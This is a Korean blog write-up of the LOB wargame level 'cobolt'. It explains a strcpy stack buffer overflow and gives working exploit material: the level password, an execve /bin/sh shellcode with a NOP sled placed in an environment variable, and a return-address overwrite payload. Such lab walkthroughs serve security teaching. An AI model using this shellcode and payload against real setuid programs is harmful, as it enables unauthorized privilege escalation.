ID : gremlin
Passwd : hello bof world
cobolt에 gremlin 다음 level의 setuid가 걸려있는 것 확인 가능!
cobolt.c를 확인하면,
strcpy함수를 사용해서 버퍼오버플로우 취약점이 있는 것을 확인할 수 있다.
gdb로 main 함수를 디버깅해보면,
<main+48>에서 strcpy 함수를 호출하는데 인자로 주는 push 값을 보면 %eax=[ebp-16] 인 것을 확인할 수 있다.
즉, ret와 buffer 사이의 거리가 16bytes임을 알 수 있다 (자세한 이유는 LOB #1에 설명해놓음!)
구조를 그려보면,
위와 같이되며, 16(Buffer)+4(sfp)=20bytes만큼을 다른 데이터로 채워주고 ret값이 4byte를 쉘코드 주소로 변경해주면 exploit이 가능하다!
쉘코드 주소를 구하기 위해 환경 변수를 등록하고 주소값을 구해보자!
<환경변수 등록>
export SHELL2=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
<환경변수 주소를 구하는 C코드>
#include
#include
int main(int argc, char *argv[1]){
char *env;
env=getenv("SHELL2");
printf("address = %p\n",env);
return 0;
}
<결과>
쉘코드 주소 = 0xbffffc64
<payload 작성>
위의 그림을 토대로 payload를 작성하면, (쉘코드 주소 = 0xbffffc64)
./cobolt `python –c ‘print “A”*20+”\x64\xfc\xff\xbf”’`
가 된다.
exploit 해보면,
성공적으로 euid가 상승하고, 다음 level의 비밀번호를 확인가능하다!
'Write Up > LOB' 카테고리의 다른 글
LOB #5 orc (0) | 2019.11.11 |
---|---|
LOB #4 goblin - argv[2] + NOP Sled이용 (0) | 2019.11.11 |
LOB #4 goblin - NOP Sled 이용 (0) | 2019.11.11 |
LOB #3 cobolt (0) | 2019.10.10 |
LOB #1 gate (0) | 2019.10.04 |